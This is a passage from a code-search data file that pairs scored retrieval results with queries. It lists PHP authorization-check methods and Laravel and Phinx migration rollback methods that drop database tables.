$this->user->capabilities_list());\n\t\tif ( ! empty($this->rule['capabilities']) AND empty($difference))\n\t\t\treturn TRUE;\n\n\t\t// If there were no capabilities allowed, check the roles\n\t\tif (empty($this->rule['capabilities']))\n\t\t{\n\t\t\t// If the user has one (OR) the roles, then allow access\n\t\t\t$intersection = array_intersect($this->rule['roles'], $this->user->roles_list());\n\t\t\tif ( ! empty($intersection))\n\t\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "ceeae9d06a787dd0ca5b783de4265ae1", "score": "0.60406744", "text": "public function can($permissions);", "title": "" }, { "docid": "0a2eca08219d0433efd06d9fca2510b5", "score": "0.6039235", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Webkul_MpAuction::auc_auto_bid_delete');\n }", "title": "" }, { "docid": "48c979ade37bd5bbaba6379c36cab6f9", "score": "0.603537", "text": "public function authorize()\n {\n $user = $this->user();\n return $user->can('add-user');\n }", "title": "" }, { "docid": "096d40a1e82d3183d8d3a0a3c0006f3e", "score": "0.60304457", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed(\\Eadesigndev\\Pdfgenerator\\Controller\\Adminhtml\\Templates::ADMIN_RESOURCE_VIEW);\n }", "title": "" }, { "docid": "b69e1839994185a066f0565a20737451", "score": "0.6025781", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('magjah_dash/dash');\n }", "title": "" }, { "docid": "a5cff832677166b4f4214fbb4d289538", "score": "0.6017906", "text": "protected function _isAllowed()\n {\n \n $actionName = $this->getRequest()->getActionName();\n switch ($actionName) {\n case 'index':\n case 'edit':\n case 'delete':\n // intentionally no break\n default:\n $adminSession = Mage::getSingleton('admin/session');\n $isAllowed = $adminSession\n ->isAllowed('testimonials_clients/client');\n break;\n }\n \n return $isAllowed;\n }", "title": "" }, { "docid": "d411a9a76ae6e86c5a117c0e8714b2bd", "score": "0.6010123", "text": "public function authorize()\n {\n $id = $this->route('id');\n if ($id) {\n $giftList = GiftList::find($id);\n if (!$giftList || $giftList->user->id != Auth::user()->id) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "7a704986ab0aa1089cacfe242a74df03", "score": "0.60038453", "text": "public function can($permission);", "title": "" }, { "docid": "46e6633e6f3c13321b307f733c8a330e", "score": "0.5997384", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_traininglist/traineecert');\n }", "title": "" }, { "docid": "c6850856a989c6d287381f54a1ee37c4", "score": "0.59960085", "text": "public function getAllow() {\r\n\t\treturn $this -> allow;\r\n\t}", "title": "" }, { "docid": "1f924ecb032e99a836145075a29cafb6", "score": "0.59948206", "text": "public function authorize() {\n\t\t$this->workplace = $this->route('workplace');\n\t\treturn $this->user()->can('create', WorkFunction::class) && $this->user()->can('update', $this->workplace);\n\t}", "title": "" }, { "docid": "ac7ff7ae0ea952f9b60e7b40eb885799", "score": "0.59936047", "text": "public function authorize()\n {\n // if ($this->hasRole(['admin','superadmin'])) {\n // return true;\n // }\n // else {\n // return false;\n // }\n\n return true;\n }", "title": "" }, { "docid": "e237eaee428610bb478f20376ebaaa25", "score": "0.5987457", "text": "public function authorize()\n {\n return $this->user()->can('manage-routes');\n }", "title": "" }, { "docid": "e237eaee428610bb478f20376ebaaa25", "score": "0.5987457", "text": "public function authorize()\n {\n return $this->user()->can('manage-routes');\n }", "title": "" }, { "docid": "b88da4c5364f81936beb24afab1f780e", "score": "0.5969267", "text": "public function can($aco)\n {\n if($this->id == 0)\n {\n return FALSE;\n }\n \n //Load the acl rules if not already done.\n if(count($this->acls) == 0)\n {\n $this->load_acl_rules();\n }\n \n if(array_key_exists($aco,$this->acls))\n {\n return (bool)$this->acls[$aco];\n } else {\n //By default we do not allow access.\n return FALSE;\n } \n }", "title": "" }, { "docid": "9162f0864a400417f0fa72a2422dfe57", "score": "0.5968773", "text": "protected function isAllowed()\n {\n return $this->_authorization->isAllowed('Amasty_XmlSitemap::sitemap');\n }", "title": "" }, { "docid": "b993c0167877bd5697b79ff2171e7ff9", "score": "0.5968553", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_logistics/equipment');\n }", "title": "" }, { "docid": "4f740fe63f7c62554216c8de109e903a", "score": "0.5965981", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_sched/schedule');\n }", "title": "" }, { "docid": "569e3ac2de53af7ded472a0e4376ae6c", "score": "0.5949906", "text": "public function getAllow() {\r\n return $this->allow;\r\n }", "title": "" }, { "docid": "73ac38516abbf3d2307848dec537bbdc", "score": "0.5945886", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('MagicToolbox_MagicZoomPlus::magiczoomplus_settings_edit');\n }", "title": "" }, { "docid": "8c42e94b766a1df81fb96208143a7df6", "score": "0.594296", "text": "public function acl_permits( $str )\n\t{\n\t\tlist( $category_code, $action_code ) = explode( '.', $str );\n\n\t\t// We must have a legit category and action to proceed\n\t\tif( strlen( $category_code ) < 1 OR strlen( $action_code ) < 1 )\n\t\t\treturn FALSE;\n\n\t\t// Get ACL for this user if not already available\n\t\tif( is_null( $this->acl ) )\n\t\t{\n\t\t\tif( $this->acl = $this->acl_query( config_item('auth_user_id') ) )\n\t\t\t{\n\t\t\t\t$this->load->vars( ['acl' => $this->acl] );\n\t\t\t\t$this->config->set_item( 'acl', $this->acl );\n\t\t\t}\n\t\t}\n\n\t\tif(\n\t\t\t// If ACL gives permission for entire category\n\t\t\tin_array( $category_code . '.*', $this->acl ) OR\n\t\t\tin_array( $category_code . '.all', $this->acl ) OR\n\n\t\t\t// If ACL gives permission for specific action\n\t\t\tin_array( $category_code . '.' . $action_code, $this->acl )\n\t\t)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "630c3c6395eaf45722a6766635805c81", "score": "0.5942477", "text": "public function authorize()\n {\n return access()->hasPermissions(['view-backend', 'view-inventory', 'manage-inventory'], true);\n }", "title": "" }, { "docid": "47d9a29659d9e25f966859074c5eb0b6", "score": "0.59412175", "text": "public function authorize()\n {\n return (Auth::user()->allowSuperAdminAccess||Auth::user()->allowAdminAccess);\n }", "title": "" }, { "docid": "f5e8f889eb9a52902d48ba623fa69593", "score": "0.5934842", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Lof_Outlet::outlet_edit');\n }", "title": "" }, { "docid": "a78a9eb603ec3a30a4ffeddc7e4652ab", "score": "0.59332573", "text": "private function canList()\n {\n //Checks roles allowed\n $roles = array(\n 'ROLE_MANAGER',\n 'ROLE_ADMIN',\n );\n\n foreach ($roles as $role) {\n if ($this->security->isGranted($role)) {\n return true;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "df8fbacb4939d9609abf5f4778a49314", "score": "0.59323394", "text": "public function canSetControllableAcl()\n {\n return $this->canSetControllableAcl;\n }", "title": "" }, { "docid": "0e03ea2ddbfcd478ca53948152a067a7", "score": "0.59311765", "text": "protected function _isAllowed()\n {\n return $this->_authorization->isAllowed('Amasty_Acart::acart_reports');\n }", "title": "" }, { "docid": "cac97c72a57f58ab963429eb25cd5fae", "score": "0.59297955", "text": "public function authorize()\n {\n return Gate::allows('admin');\n }", "title": "" }, { "docid": "cac97c72a57f58ab963429eb25cd5fae", "score": "0.59297955", "text": "public function authorize()\n {\n return Gate::allows('admin');\n }", "title": "" }, { "docid": "b9cd57c366a6a09396cefe03ad466a17", "score": "0.59216964", "text": "public function authorize() {\n\t\treturn $this->user()->is_admin;\n\t}", "title": "" }, { "docid": "c9821c2308e15a2f6c44f8c3ff0b414d", "score": "0.59201866", "text": "public function authorize()\n {\n return $this->user()->can('anyAction', ChessRule::class);\n }", "title": "" }, { "docid": "9df369da0ec7212d026eac9ae3550ed9", "score": "0.5916889", "text": "public function authorize()\n {\n return (Auth::user()->allowSuperAdminAccess || Auth::user()->allowAdminAccess);\n }", "title": "" }, { "docid": "8d2cffa85be55ff3752a742f4ad52e10", "score": "0.5909568", "text": "public function isRequestAllowed(Request $request);", "title": "" }, { "docid": "697ba0dde112d8e5e3d98b9dd6e9a3a8", "score": "0.5909049", "text": "public function isAccessible() {\n\t\tif ($this->hasAccessRestrictions() === FALSE) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif ($this->securityContext->canBeInitialized() === FALSE) {\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tforeach ($this->accessRoles as $roleName) {\n\t\t\tif ($this->securityContext->hasRole($roleName)) {\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "1d3b7aea5b198b1065caf90d113611c0", "score": "0.5907537", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')\n ->isAllowed('admin/system/convert/professio_budgetmailer');\n }", "title": "" }, { "docid": "a3ffbb877cc2cdbde7e55e13c4130c20", "score": "0.59011954", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('drugento_countryorder/country');\n }", "title": "" }, { "docid": "4ba5d2ffde57e61d7206c772a58675c0", "score": "0.5900652", "text": "public function authorize()\n {\n if(auth('admin')->check()){\n\n return true;\n\n }else{\n\n return false;\n\n }\n }", "title": "" }, { "docid": "883b7d804fed0f469161f654eb2c017b", "score": "0.5900067", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_kst/ifeedback');\n }", "title": "" }, { "docid": "1f4188c1732d8fe0d231f8c47a62beef", "score": "0.58907825", "text": "public function can($ability, $arguments = array());", "title": "" }, { "docid": "b4f68023214cbd1c296647453ee4ed45", "score": "0.5888867", "text": "protected function allow() {\n\t\t\n\t\treturn true;\n\t}", "title": "" }, { "docid": "a6250d2b567360deff2deda1b6a037a6", "score": "0.588869", "text": "protected function _isAllowed()\n {\n return Mage::getSingleton('admin/session')->isAllowed('bs_kst/kstitem');\n }", "title": "" }, { "docid": "7e9d3affb151e5d07699cbeb231de29e", "score": "0.58878386", "text": "public function authorize()\n {\n //Get the 'mark' id\n switch ((int) request()->segment(6)) {\n case 0:\n return access()->allow('deactivate-users');\n break;\n\n case 1:\n return access()->allow('reactivate-users');\n break;\n }\n\n return false;\n }", "title": "" }, { "docid": "08bd9dd116dbbba25f0d5e12731bf86e", "score": "0.5883126", "text": "public function isAccess();", "title": "" } ]
05fef8eeb360208aa4e108049b27cdcf
/ Reverse the migrations.
[ { "docid": "d25aab95ebd1bce3a4b5f129972d382c", "score": "0.6569067", "text": "public function down()\n {\n Schema::drop('merchants');\n }", "title": "" } ]
[ { "docid": "9037169ac8d63cb086f1e6f1ec5d4adb", "score": "0.7658713", "text": "public function rollback_migrations() {\n\t\tglobal $wpdb;\n\n\t\t$current_migration = get_option( 'glossary_by_arteeo_current_migration' );\n\t\tif ( false !== $current_migration && 0 < $current_migration ) {\n\t\t\tforeach ( $this->migrations->get_reverse_iterator() as $migration ) {\n\t\t\t\tif ( $current_migration >= $migration->get_timestamp() ) {\n\t\t\t\t\t$migration->down( $wpdb );\n\t\t\t\t\t$current_migration = $migration->get_timestamp();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdelete_option( 'glossary_by_arteeo_current_migration' );\n\t}", "title": "" }, { "docid": "87872d35d37a58d1cf7b07f783736f01", "score": "0.7532431", "text": "abstract public function migrationDown();", "title": "" }, { "docid": "9c9011ba533fa4e816abf7f0cd72393f", "score": "0.735169", "text": "public function down()\n {\n throw new Exception(\"Rollback of migrations is not supported!\");\n }", "title": "" }, { "docid": "068938dd9dc40b9425e9111254dd14a5", "score": "0.7168306", "text": "public function down()\n\t{\n\t\techo __CLASS__ . \" migration down.\\n\";\n\t\treturn parent::down();\n\t}", "title": "" }, { "docid": "93fc9e568ca1f0615676b58ac6c1310e", "score": "0.705917", "text": "public function down()\n\t{\n\t\tSchema::drop('step6');\n\t}", "title": "" }, { "docid": "2d7590706ea745657a389274d5f2de6f", "score": "0.7039907", "text": "public function down()\n\t{\n\t\tSchema::drop('work');\n\t}", "title": "" }, { "docid": "4ecc95567366eec7b15b6b22a4cd4074", "score": "0.7031878", "text": "public function down(): void\n {\n $this->table('categories')\n ->dropForeignKey(\n 'user_id'\n )->save();\n\n $this->table('articles')\n ->dropForeignKey(\n 'category_id'\n )->save();\n $this->table('tags')\n ->addColumn('name', 'string', [\n 'default' => null,\n 'limit' => 255,\n 'null' => false,\n ])\n ->create();\n\n $this->table('articles')\n ->removeIndexByName('UNIQUE_SLUG')\n ->removeIndexByName('category_id')\n ->removeIndexByName('rating_index')\n ->update();\n\n $this->table('articles')\n ->addColumn('content', 'text', [\n 'after' => 'rating',\n 'default' => null,\n 'length' => null,\n 'null' => false,\n ])\n ->changeColumn('id', 'integer', [\n 'autoIncrement' => true,\n 'default' => null,\n 'length' => 11,\n 'null' => false,\n ])\n ->changeColumn('title', 'string', [\n 'default' => null,\n 'length' => 255,\n 'null' => false,\n ])\n ->changeColumn('rating', 'integer', [\n 'default' => null,\n 'length' => 11,\n 'null' => false,\n ])\n ->changeColumn('name', 'string', [\n 'default' => null,\n 'length' => 255,\n 'null' => false,\n ])\n ->changeColumn('user_id', 'integer', [\n 'default' => null,\n 'length' => 11,\n 'null' => false,\n ])\n ->removeColumn('category_id')\n ->removeColumn('average_note')\n ->addIndex(\n [\n 'slug',\n ],\n [\n 'name' => 'UNIQUE_SLUG',\n 'unique' => true,\n ]\n )\n ->addIndex(\n [\n 'rating',\n ],\n [\n 'name' => 'rating_index',\n ]\n )\n ->addIndex(\n [\n 'name',\n ],\n [\n 'name' => 'BY_NAME',\n ]\n )\n ->update();\n\n $this->table('users')\n ->changeColumn('id', 'integer', [\n 'autoIncrement' => true,\n 'default' => null,\n 'length' => 11,\n 'null' => false,\n ])\n ->update();\n\n $this->table('articles')\n ->addForeignKey(\n 'user_id',\n 'users',\n 'id',\n [\n 'update' => 'CASCADE',\n 'delete' => 'CASCADE',\n 'constraint' => 'articles_ibfk_1'\n ]\n )\n ->update();\n\n $this->table('categories')->drop()->save();\n }", "title": "" }, { "docid": "ceb5e6f1806f36c63930a866a6eeb172", "score": "0.70044017", "text": "public function down()\n {\n $this->connect();\n $this->executeInTransaction('migrateDown');\n }", "title": "" }, { "docid": "aa32a0c69644178a18334ec1a999a523", "score": "0.6947405", "text": "public function down()\n {\n\n $aForeignKeys = Yii::$app->db->schema->getTableSchema('Loans', true)->foreignKeys;\n\n if (isset($aForeignKeys[0]['userId']))\n {\n $this->dropForeignKey('Loans_Fk_userId',\n 'Loans');\n }\n\n $this->truncateTable('Loans');\n $this->truncateTable('Users');\n\n // add foreign key\n $this->addForeignKey(\n 'Loans_Fk_userId',\n 'Loans',\n 'userId',\n 'Users',\n 'userId',\n 'RESTRICT',\n 'CASCADE'\n );\n\n\n }", "title": "" }, { "docid": "2a233ff3e027f072830c0ddddcf9944d", "score": "0.6921315", "text": "public function down()\n\t{\n\t\t// código para eliminar la tabla\n\t\tSchema::drop('estudio');\n\t}", "title": "" }, { "docid": "101d50fdfb825fc7eeab3afb7e21c98e", "score": "0.6916073", "text": "public function down()\n\t{\n\t\t// Drop all tables\n\t\tSchema::drop('tumblers');\n\t}", "title": "" }, { "docid": "937b5d1b6029d4c888d731fbed4010a6", "score": "0.69104165", "text": "public function down(): void\n {\n try {\n $this->db->ForeignKeyChecks(false);\n $statement=$this->db->prepare(\"DROP TABLE IF EXISTS prom2_migrations\");\n $statement->execute();\n $statement->close();\n $this->db->ForeignKeyChecks(true);\n } catch (\\mysqli_sql_exception $exception) {\n throw $exception;\n }\n }", "title": "" }, { "docid": "1b98b8869f194882c60a9a1f5ce5e454", "score": "0.68596584", "text": "public function down(): void {\n\t\t$this->schema->dropTable('reward');\n\t}", "title": "" }, { "docid": "297fd201907347291807e7ad96ff6dad", "score": "0.68521935", "text": "public function down()\n {\n Schema::dropIfExists('subjects');\n\t\tSchema::dropIfExists('subject_photos');\n }", "title": "" }, { "docid": "f9a11661d24b55a36fb58486115caff1", "score": "0.68447906", "text": "public function down()\n {\n Schema::dropIfExists('land');\n }", "title": "" }, { "docid": "1ea0f5286d70225280ec342495f94732", "score": "0.6824481", "text": "function down(){\n Capsule::schema()->dropIfExists('smilies');\n Capsule::schema()->dropIfExists('private_messages');\n Capsule::schema()->dropIfExists('profile_comments');\n Capsule::schema()->dropIfExists('user_profiles');\n Capsule::schema()->dropIfExists('user_achievements');\n Capsule::schema()->dropIfExists('bans');\n Capsule::schema()->dropIfExists('permissions');\n Capsule::schema()->dropIfExists('auth_token');\n Capsule::schema()->dropIfExists('users');\n Capsule::schema()->dropIfExists('ranks');\n Capsule::schema()->dropIfExists('achievements');\n //Capsule::connection()->select('SET foreign_key_checks = 1;');\n }", "title": "" }, { "docid": "28c1efae46b71df02f304162c13dc02c", "score": "0.6822268", "text": "public function down()\n {\n Schema::dropIfExists('sub_parents');\n }", "title": "" }, { "docid": "996ee96358809ba36b4940f6d10e7412", "score": "0.68136686", "text": "public function down()\n {\n Schema::dropIfExists('users');\n }", "title": "" }, { "docid": "7d8f4e33b9e1d008fe88e50bc2ac5f01", "score": "0.6806605", "text": "public function down() {\n\n Schema::drop('langages');\n Schema::drop('likes');\n Schema::drop('snippets');\n Schema::drop('users');\n }", "title": "" }, { "docid": "b2cb19d778f64cb7e9a79d89200abaed", "score": "0.6806064", "text": "public function down()\n\t{\n\t\t//\n\t\tSchema::table('users', function($table) {\n\t\t\t$table->drop_column('codeivate_user');\n\t\t});\t\t\t\t\n\t}", "title": "" }, { "docid": "0fbb43bdd7d6dab9025ae6fe76aad458", "score": "0.6805276", "text": "public function down()\n {\n Schema::dropIfExists('_school_campus');\n }", "title": "" }, { "docid": "992d1664e37235a4b9125afe80f8d7f6", "score": "0.6803468", "text": "public function down()\n\t{\n\t\tSchema::drop('transactions');\n\t}", "title": "" }, { "docid": "22f45423de62a0b1492995e16e802e64", "score": "0.6799802", "text": "public function down()\n\t{\n\t\t// Drop Table\n\t\tSchema::drop( $this->name );\n\t}", "title": "" }, { "docid": "23b7333c4dd2de85ea0d716b879cf13e", "score": "0.6795696", "text": "public function down()\n {\n Capsule::schema()->dropIfExists('users');\n }", "title": "" }, { "docid": "c5ce15c72ad2344ab5f4a7eb2cf96ad9", "score": "0.6794729", "text": "public function down()\n {\n Schema::dropIfExists('Articles');\n }", "title": "" }, { "docid": "ca92a0d4a286bfb87670588c679f9317", "score": "0.6787787", "text": "public function down()\n {\n Schema::dropIfExists('usuarios'); \n\n }", "title": "" }, { "docid": "c8267ab93129ea4dffb9c2d097814f10", "score": "0.6762052", "text": "public function down()\r\n\t{\r\n\t\t$this->schema->dropIfExists('users');\r\n\t}", "title": "" }, { "docid": "c64ef09fdbb9e7947e2ffb1c94056442", "score": "0.67605615", "text": "public function down()\n\t{\n Schema::table('users', function($table) {\n $table->drop('downgrade_date');\n $table->drop('downgrade_role_id');\n });\n\t}", "title": "" }, { "docid": "759ee68df5325b5ec113896e05965a5e", "score": "0.67528147", "text": "public function down()\n\t{\n\t\t//Schema::drop('sale_units');\n\t}", "title": "" }, { "docid": "0287481d4cd80ceaae3e65e3e30c8ca5", "score": "0.6751721", "text": "public function down()\n\t{\n\t\tSchema::drop('checkins');\n\t}", "title": "" }, { "docid": "86fe25b8b5690384456f0ac98e349659", "score": "0.6744464", "text": "public function down()\n\t{\n\t\tSchema::drop('users');\n\t}", "title": "" }, { "docid": "c68bee8802e260415dbae57801229d81", "score": "0.6741126", "text": "public function down()\n {\n $this->dropForeignKey(\n 'fk-blog-owner_id',\n 'blog'\n );\n\n // drops index for column `author_id`\n $this->dropIndex(\n 'idx-blog-owner_id',\n 'blog'\n );\n\n $this->dropTable('blog');\n\n echo \"m160812_185441_blog reverted.\\n\";\n }", "title": "" }, { "docid": "a046216a93f3c3c332a599a85ccd8168", "score": "0.6739106", "text": "public function down()\n\t{\n\t\t// Drop Table\n\t\tSchema::drop($this->name);\n\t}", "title": "" }, { "docid": "ccd9e29c7528fa9626069c660af09da1", "score": "0.6728394", "text": "public function down()\n\t{\n Schema::drop('users');\n\t}", "title": "" }, { "docid": "f98c5f902e970542ca15c237adeef7ea", "score": "0.6725831", "text": "public function down()\n\t{\n\t\tSchema::drop('students');\n\t}", "title": "" }, { "docid": "ddd50b8917499721cf72e7e29d1d2f35", "score": "0.6724713", "text": "public function down()\n\t{\n Schema::drop('posts');\n\t}", "title": "" }, { "docid": "66d5ac91cab3906577f255b5a5a1e787", "score": "0.67162675", "text": "public function down()\n {\n Schema::table('sliders', function (Blueprint $table) {\n //$table->dropColumn('vendor_order_cancellation_fee');\n });\n }", "title": "" }, { "docid": "5c0e6a6d18f3c6038e9daf7377dee45e", "score": "0.67160517", "text": "public function down()\n\t{\n\t\tSchema::drop('employees');\n\t}", "title": "" }, { "docid": "0146454c3339a4bb2dc5a02b893f5360", "score": "0.67007947", "text": "public function down()\n\t{\n Schema::table('users', function($table) {\n $table->drop_column('card_last_4');\n $table->drop_column('card_type');\n });\n\t}", "title": "" }, { "docid": "ae5b626bf1c50da6d0aa945e56f418db", "score": "0.66958857", "text": "public function down()\n\t{\n//\t\t$this->dbforge->drop_table('blog');\n $this->dbforge->drop_table('modules');\n//\t\t// Dropping a Column From a Table\n//\t\t$this->dbforge->drop_column('table_name', 'column_to_drop');\n\t}", "title": "" }, { "docid": "8389199d44c2c1e00d722e382d9cb290", "score": "0.667644", "text": "public function down()\n {\n Schema::dropIfExists('individuals');\n }", "title": "" }, { "docid": "e9ccd2ca862dea486cb1e1253a13eafe", "score": "0.6672656", "text": "public function down()\n\t{\n\t\t//return false;\n\t\t$this->dropTable('posts');\n\t}", "title": "" }, { "docid": "ebaf36f31451f5761e90e20298dcf644", "score": "0.66637903", "text": "public function down()\n {\n Schema::dropIfExists('venues');\n }", "title": "" }, { "docid": "ab0a4600551538a5cd4c7a9b4b60f316", "score": "0.66303444", "text": "public function down()\n {\n Schema::drop('payments');\n }", "title": "" }, { "docid": "ce2f85f983e78c40f5355a3370d8e3e0", "score": "0.66247696", "text": "public function down()\n\t{\n\t\tSchema::drop('tags');\n\t}", "title": "" }, { "docid": "b54c5f815260a76af0c4f09ff92fd10f", "score": "0.66227025", "text": "public function\n\tDown() {\n\n\t\t$this->Execute(\"\n\t\tALTER TABLE `BlogPosts`\n\t\tDROP COLUMN `CountImages`,\n\t\tDROP COLUMN `TimeToRead`;\n\t\t\");\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "fda8aeb61f45239c641b40eab4a7355d", "score": "0.66218114", "text": "public static function uninstall()\n {\n Model::migrationDown();\n Flight::redirect('/admin');\n }", "title": "" }, { "docid": "0d412940cee623164270af1b49f1659c", "score": "0.66145116", "text": "public function down()\n\t{\n\t\tSchema::drop('training_plans');\n\t}", "title": "" }, { "docid": "95df13a67b4a0a5421ffead2e42f17e5", "score": "0.66120404", "text": "public function down()\n {\n Schema::drop(config('litecms.career.job.model.table'));\n }", "title": "" }, { "docid": "63254711799f28ce1941847edaa88c1f", "score": "0.6604748", "text": "public function down()\n {\n Schema::dropIfExists('servico_agendados');\n }", "title": "" }, { "docid": "18f4d110ea5fa1ac88af3c1500598bb9", "score": "0.6601091", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE access_tokens DROP FOREIGN KEY FK_58D184BC19EB6921');\n $this->addSql('ALTER TABLE refresh_tokens DROP FOREIGN KEY FK_9BACE7E119EB6921');\n $this->addSql('ALTER TABLE auth_code DROP FOREIGN KEY FK_5933D02C19EB6921');\n $this->addSql('ALTER TABLE access_tokens DROP FOREIGN KEY FK_58D184BCA76ED395');\n $this->addSql('ALTER TABLE refresh_tokens DROP FOREIGN KEY FK_9BACE7E1A76ED395');\n $this->addSql('ALTER TABLE auth_code DROP FOREIGN KEY FK_5933D02CA76ED395');\n $this->addSql('ALTER TABLE books_authors DROP FOREIGN KEY FK_877EACC2F675F31B');\n $this->addSql('ALTER TABLE book DROP FOREIGN KEY FK_CBE5A331AC578236');\n $this->addSql('ALTER TABLE book DROP FOREIGN KEY FK_CBE5A3311606E160');\n $this->addSql('ALTER TABLE books_authors DROP FOREIGN KEY FK_877EACC216A2B381');\n $this->addSql('DROP TABLE access_tokens');\n $this->addSql('DROP TABLE client');\n $this->addSql('DROP TABLE fos_user');\n $this->addSql('DROP TABLE refresh_tokens');\n $this->addSql('DROP TABLE editor');\n $this->addSql('DROP TABLE author');\n $this->addSql('DROP TABLE auth_code');\n $this->addSql('DROP TABLE electronic_book');\n $this->addSql('DROP TABLE paper_book');\n $this->addSql('DROP TABLE book');\n $this->addSql('DROP TABLE books_authors');\n }", "title": "" }, { "docid": "cffe9a6f9864a2bf548ebd6e2a3bcc67", "score": "0.65947044", "text": "public function down()\n {\n $this->execute('SET foreign_key_checks = 0');\n $this->execute('DROP TABLE IF EXISTS `golongan`');\n $this->execute('SET foreign_key_checks = 1;');\n }", "title": "" }, { "docid": "42e780658a225710c26ae15c6eccc852", "score": "0.65834284", "text": "public function down()\n {\n \t$this->dbforge->drop_table('mahasiswa');\n }", "title": "" }, { "docid": "2658d36fd2d5196020d8ada618d0dcdf", "score": "0.65825236", "text": "public function down()\n\t{\n Schema::drop('programa');\n\t}", "title": "" }, { "docid": "bedd93272ebaacf0e027b3b9d6ac1f0c", "score": "0.65776", "text": "public function down()\n\t{\n\t\tSchema::drop('role');\n\t}", "title": "" }, { "docid": "738b6877d3cbb232a45241ac4489dced", "score": "0.6574589", "text": "public function down()\n {\n Schema::dropIfExists('purchases');\n }", "title": "" }, { "docid": "93a294e897d21e765dadbeedf2912a40", "score": "0.65552837", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE affectaion DROP FOREIGN KEY FK_331D556DDCED588B');\n $this->addSql('ALTER TABLE depot DROP FOREIGN KEY FK_47948BBCDCED588B');\n $this->addSql('ALTER TABLE transaction DROP FOREIGN KEY FK_723705D16EC704A0');\n $this->addSql('ALTER TABLE transaction DROP FOREIGN KEY FK_723705D17BCE5716');\n $this->addSql('ALTER TABLE partenaire DROP FOREIGN KEY FK_32FFA3736A6193D6');\n $this->addSql('ALTER TABLE compte DROP FOREIGN KEY FK_CFF6526098DE13AC');\n $this->addSql('ALTER TABLE user DROP FOREIGN KEY FK_8D93D64998DE13AC');\n $this->addSql('ALTER TABLE user DROP FOREIGN KEY FK_8D93D649275ED078');\n $this->addSql('ALTER TABLE affectaion DROP FOREIGN KEY FK_331D556D36BBBE4');\n $this->addSql('ALTER TABLE affectaion DROP FOREIGN KEY FK_331D556D67B3B43D');\n $this->addSql('ALTER TABLE compte DROP FOREIGN KEY FK_CFF6526020537CE3');\n $this->addSql('ALTER TABLE depot DROP FOREIGN KEY FK_47948BBCA76ED395');\n $this->addSql('ALTER TABLE transaction DROP FOREIGN KEY FK_723705D168D1F6DF');\n $this->addSql('ALTER TABLE transaction DROP FOREIGN KEY FK_723705D189737BC5');\n $this->addSql('DROP TABLE affectaion');\n $this->addSql('DROP TABLE compte');\n $this->addSql('DROP TABLE contrat');\n $this->addSql('DROP TABLE depot');\n $this->addSql('DROP TABLE part');\n $this->addSql('DROP TABLE partenaire');\n $this->addSql('DROP TABLE role');\n $this->addSql('DROP TABLE tarif');\n $this->addSql('DROP TABLE transaction');\n $this->addSql('DROP TABLE user');\n }", "title": "" }, { "docid": "b8e9c05bf6fdefc80bcb4ae1e62815e4", "score": "0.6549098", "text": "public function down()\n {\n Schema::dropIfExists('client-gsuite_lastwords');\n }", "title": "" }, { "docid": "e105724e052ed908157b452d97c5e73b", "score": "0.6547718", "text": "public function down(Schema $schema) : void\n {\n $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \\'mysql\\'.');\n\n $this->addSql('ALTER TABLE diplome DROP FOREIGN KEY FK_EB4C4D4EFB88E14F');\n $this->addSql('ALTER TABLE experience DROP FOREIGN KEY FK_590C103FB88E14F');\n $this->addSql('ALTER TABLE meslanguage DROP FOREIGN KEY FK_BFDEF42BFB88E14F');\n $this->addSql('ALTER TABLE projet DROP FOREIGN KEY FK_50159CA9F6B5EEAB');\n $this->addSql('ALTER TABLE projet_profil DROP FOREIGN KEY FK_C47F02C1275ED078');\n $this->addSql('ALTER TABLE projetrealiser DROP FOREIGN KEY FK_8DC9310BFB88E14F');\n $this->addSql('ALTER TABLE projet_profil DROP FOREIGN KEY FK_C47F02C1C18272');\n $this->addSql('ALTER TABLE groupe_user DROP FOREIGN KEY FK_257BA9FE7A45358C');\n $this->addSql('ALTER TABLE document DROP FOREIGN KEY FK_D8698A7682F1BAF4');\n $this->addSql('ALTER TABLE meslanguage DROP FOREIGN KEY FK_BFDEF42B1C9A06');\n $this->addSql('ALTER TABLE profil DROP FOREIGN KEY FK_E6D6B2979D86650F');\n $this->addSql('ALTER TABLE groupe_user DROP FOREIGN KEY FK_257BA9FEA76ED395');\n $this->addSql('DROP TABLE diplome');\n $this->addSql('DROP TABLE document');\n $this->addSql('DROP TABLE profil');\n $this->addSql('DROP TABLE experience');\n $this->addSql('DROP TABLE media_video');\n $this->addSql('DROP TABLE meslanguage');\n $this->addSql('DROP TABLE news');\n $this->addSql('DROP TABLE projet');\n $this->addSql('DROP TABLE projet_profil');\n $this->addSql('DROP TABLE projetrealiser');\n $this->addSql('DROP TABLE annonce');\n $this->addSql('DROP TABLE groupe');\n $this->addSql('DROP TABLE 